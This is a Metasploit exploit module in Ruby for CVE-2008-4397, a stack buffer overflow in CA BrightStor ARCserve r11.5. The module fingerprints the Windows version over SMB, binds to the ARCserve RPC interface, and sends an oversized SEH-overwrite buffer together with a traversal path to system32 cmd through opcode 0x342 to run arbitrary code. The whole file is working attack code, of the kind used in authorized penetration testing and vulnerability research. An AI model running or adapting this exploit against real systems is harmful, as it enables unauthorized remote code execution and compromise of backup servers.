##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884).
          By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
          and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
          set the hostname argument (HNAME).
        },
        'Author' => [ 'Nahuel Cayento Riva', 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'BID', '31684' ],
          [ 'OSVDB', '49468' ],
          [ 'CVE', '2008-4397' ],
          [ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 550,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
        ],
        'DisclosureDate' => '2008-10-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']),
        Opt::RPORT(6504)
      ]
    )
  end

  def fingerprint
    datastore['RPORT'] = 445
    os = smb_fingerprint()
    return os
  end

  def exploit
    path = fingerprint()

    if (path['os'] !~ /Windows/)
      print_error("Target not supported!")
      return
    elsif (path['os'] =~ /Windows 2000/)
      dir = "winnt"
      offset = 442
    else
      dir = "windows"
      offset = 436
    end

    print_status("Identified OS '#{path['os']}', setting appropiate system path...")

    datastore['RPORT'] = 6504

    connect()

    handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret)

    sploit = NDR.string("#{datastore['HNAME'].upcase}")
    sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""")
    sploit << NDR.string(buffer)
    sploit << NDR.string(rand_text_alpha_upper(20))
    sploit << NDR.long(2)
    sploit << NDR.long(2)
    sploit << NDR.string(rand_text_alpha_upper(20))
    sploit << NDR.long(0)
    sploit << NDR.long(4)

    print_status("Trying target #{target.name}...")

    begin
      dcerpc_call(342, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    handler
    disconnect
  end
end
